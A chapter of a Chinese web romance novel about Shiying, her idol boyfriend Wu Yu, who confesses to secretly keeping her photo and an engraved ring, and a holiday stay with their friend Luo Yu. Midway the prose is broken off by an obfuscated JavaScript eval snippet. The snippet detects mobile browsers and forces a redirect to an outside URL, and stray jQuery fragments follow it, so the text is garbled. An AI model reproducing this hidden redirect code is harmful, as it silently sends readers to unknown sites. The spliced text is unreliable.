既然已经说开，世宁沾头就睡。


    梦境无序，时间无迹。如果说没有做梦的时候是在太空漫游，属实有点极端浪漫。


    期间世宁仿若看见一些图像，内容类是自然博物馆的科普纪录片，没有声音，只有生物倍速的运动，一棵树如何从种子成长成参天模样。或许真有个空间，时间是我们的好几倍……


    世宁觉得自己就是梦里那棵树，一看没有了手臂只剩下枝杈，后来不知道从哪里自己长出了藤蔓来，从中段开始攀爬。耳边有微风轻拂的痒，周身有阳光照拂的暖。后面的藤蔓有越发紧密的趋势，很快，缠得浑身上下无一处没有它的痕迹。


    第二天一早，世宁一个激灵摸过手机看时间。


    是极限赶工时间，再晚一点就要迟到的那种，身上一只手感受到动静将她搂回来，“昨晚说场地有点问题，今天上午不用去，下午还得看情况。”


    世宁才意识到她的床上还有一个人。


    “你怎么在这？”


    虽然她很快回忆起昨天晚上开玩笑，让他再不走就一起睡的事情。


    吴虞轻笑一声，强势把人搂紧了，一手钻过来箍住她的肩，一手环住腰，蛇一样缠得密不透风。


    世宁的视线往后探的时候捎带过自己的肩膀，发现自己肩上还有来历不明的红痕。


    “虽然是我允许你……你咬我了？”世宁指着痕迹兴师问罪。


    “你的要求是别吵你睡觉，我做到了啊。”


    “……还是你会算计。”


    下一秒，世宁的下巴被掀起，一个强势的吻吸住她的唇瓣，期间，反抗、说话的声音都成了呜咽。


    这个吻像是积攒了一夜的能量，不见收势，反倒是愈演愈烈。吴虞的手掐着她的脖子，力道不重，只是更无路可逃一些。


    “你再说，我可就不停了。”


    吴虞喘息着放开了她，嘴唇湿润，唇线也暧昧不清，眼里漾起情欲半睁着，垂眸死死死地盯着她。


    世宁有些愣住了，以她现在紊乱的呼吸来看，她的脸色也并不会清白到哪里去。


    “这倒并不是什么大事。”世宁照惯例嘴硬。


    吴虞笑了一下，如她所愿的，再次吻了上去，这一回的范围明显往下游走。世宁有点受不住，连连喊停。


    “白日宣……好像不太好吧，吴老师。我们还是复盘一下昨天的“矛盾”。


    世宁钻出被子，扣好睡衣扣子，端坐着。吴虞拉过一边的毛毯把世宁从后包住。


    “你方对我方隐瞒不少事情。”世宁打断吴虞的欲言又止，“我先说。”


    吴虞偃旗息鼓，面对面端正坐了听她说。


    “昨天没审完，看你哭心软了。骆雨为什么要帮你？”


    “作为交换，我可以帮她隐瞒学校里搞乐队的事情，她妈不喜欢她搞这些。”


    “骆雨妈妈这么强势的吗，那她现在搞乐队……”


    话说到这里，吴虞摇了摇头，世宁也就会意了。多半还是没有完全同意的样子。


    “那昨天是什么情况？”


    “我本来是想提前和你说的，乔哥临时有事，我没办法，只有等事情弄好了再过来找你们……”


    “带着骆雨特供同款面具直接出现在我面前，这是不装了？”


    “我可以不带面具出现，你一样可以认定我是因为骆雨的关系找到你。”


    “所以？”


    “我可能想试试看，如果我带了面具，你还能不能一下认出我是谁。”


    “毫无逻辑可言。”世宁笑了笑，又复平静。他或许是真的没有刻意隐藏这件事，不然怎么会犯这么低级的错误。


    世宁不由自主地抚上他的脸颊，“这张脸辨识度太高的缘故吗？还要故意设置这样的考题。”


    “可你还没有小词认得快。”吴虞拉住将要收回的那只手，牵着，在自己脸上摩挲，十分依恋的样子。


    世宁想起什么来，她去拉吴虞的右手，“小词昨天是认出了你的戒指对吧。”


    吴虞伸手去床头柜够了个东西过来，摊开掌心给世宁看。


    银色素圈，波浪纹的走向。世宁接过，里面还刻了两个字母，sc。


    世宁一个激灵，“什么时候搞的？”


    是她名字的首字母。


    世宁五味杂陈，她们严格来说昨天才算是正式在一起，这种心思起的越早越变态吧？


    “算了，还是别告诉我了。”挺膈应的，就当是刚刚才发生的就好。


    “感觉被监视了。”


    “这种程度就受不了了吗。”吴虞一直把玩世宁的手指，世宁说服自己当做是按摩。


    吴虞拿过自己的手机，抽出手机壳底下的拍立得，就是很早之前说是要送给朋友的签名照，“还有这个。”


    世宁呆住，“所以根本没有所谓的朋友？”


    自导自演？


    “有啊，你们全团的那张我送给小词了，这个我私藏了，不过分吧？”


    “过分到不过分，就是有点变态……”


    吴虞的眼神一开始是无辜的，后来干脆威逼着靠近。


    世宁节节败退，最后闭着眼睛被他扑倒。


    “哪里变态了。”


    “就是很变态。现在是在一起了，没在一起的话怎么办？”


    “当个阴暗的觊觎者。”吴虞轻松地开口，就像在说一会吃点什么一样自然。


    “如果说每个表面光鲜完美实力偶像暗地里都和你一样阴湿鬼，多少少女要幻灭。”


    世宁睁眼，见吴虞没其他动作，一把把他撩开。


    没撩动。这人跟长在床上似的，世宁费力去推，纹丝不动。


    “如果这样说的话，我昨晚也对你做了变态的事。”


    世宁原以为他至少会反驳，再不济也知道把少女这个重点拆了，‘什么少女’‘什么幻灭’‘她们幻灭干我什么事’之类的，居然还抓这变态不放，他难道是坦然接受着个人设了吗，完美达人不做了？


    “需要我给你演示一遍吗？”


    “呃……挺……诱惑的，不过不用了。我扛不住美人计的。”


    世宁说完，吴虞愣住了，借此机会，世宁敏捷的从他手臂之下钻出来。


    “理论上我可以接受这件事，但程序上来说，还需要一点安全措施。”


    世宁趴在边上看他，吴虞还没回神，“你觉得呢，要是有个体检报告什么的，就更科学了。”


    吴虞大笑不止，世宁托腮皱了眉看他，“很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935289|192881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奇怪吗？”


    吴虞收敛了，摇摇头，“不会。”


    “是吧，我性教育学的挺好的吧。”


    吴虞揉揉她的脑袋，“您可太超前了，我有时候怀疑你是不是穿越过来的。”


    “从未来。”


    －－－


    这一年的春节总算来了。


    剧组给了一周的假，从大年夜开始。世宁没什么地方去，楼泱近段时间通告不断，为她感到高兴的同时也只能提醒她多多注意身体，别累坏了。转念一想，正是拼搏的年纪，休息是留给死人的，就干脆还是鼓励她勇敢向前冲。


    后来世宁应邀去吴虞家住几天。


    世宁开始不愿意，觉得好像收留了一个无家可归的小可怜似的，一点也不酷。她刚开始的计划是飞到楼泱那里去，就像她之前拍《雾窗》的时候，楼泱也会来她这里玩一玩，和她一起吐槽剧组的不合理。


    后来骆雨忙完了巡演的事情，特意找过吴虞和她。说她其实老久之前就撺掇着吴虞要赶紧还她清白，不然里外不是人。


    在她的立场，这件事还是得吴虞先说，要是她先说，等于违背诺言在先；她不说的话，又有点背叛朋友的意思。


    只有吴虞先说了，她才好顺着台阶下来。


    于是世宁先是罚了骆雨“非帮不可的三件事”，再加上骆雨一起，罚了吴虞一共六件事。


    才勉强算是算完总账。


    算账算完，没想到也就顺理成章的在吴虞家里住下了。


    这个地方她不是第一次来。上回来的时候整体冷清又单调，这会不知道是不是准备在这里过年的缘故，骆雨受她爸妈支使，也就是吴虞的小姨小姨夫，往家里搬了许多吃的用的。说吴虞的爷爷和爸妈国外相聚去了，吴虞他们可得帮忙照看着。


    骆雨悄悄给世宁耳语，“本来票都买了，我让她们不用来了。”


    “为什么？”


    “我说孩子要过二人世界。”


    “……”世宁沉默一阵，一手将人脖子卡在臂弯。


    “咳咳，干什么，姐妹是为你终生幸福着想……”


    世宁直接把骆雨掀翻在沙发上，开始挠她的痒，骆雨很快就上气不接下气地投降，“我错了，放过我。”


    世宁自己也累了，于是收手。


    骆雨靠过来，冲她挑眉，“不用终身幸福也行，享受一段是一段。”


    世宁不可置信地看她，“小雨，你国外呆呆，学坏了？”


    骆雨撅起嘴摇头，“不是。”


    “在我这里，你们两都挺好的，我从那回一起玩剧本杀就看你俩不太对劲了好不好。本来是想直接撮合撮合，吴虞说他要顺其自然，让我别管。那我不就只能暗中磕cp了吗。”


    “后来反正你两各走各的路，结果又在娱乐圈碰头，那可不更精彩了？哈哈哈哈哈。”


    骆雨笑的猖狂，世宁推了她一把，她很配合地埋在抱枕中间，再抬头，卷发不小心咬了一撮在嘴里。


    骆雨不紧不慢地撩开，“这个圈子这么难搞，你两话题度又这么高，很难单纯平凡地谈感情吧，你看，盛典碰个面都能揣测成这样。我觉得吧……”


    骆雨卖个关子，转向世宁，“享受当下就好了。你说呢？”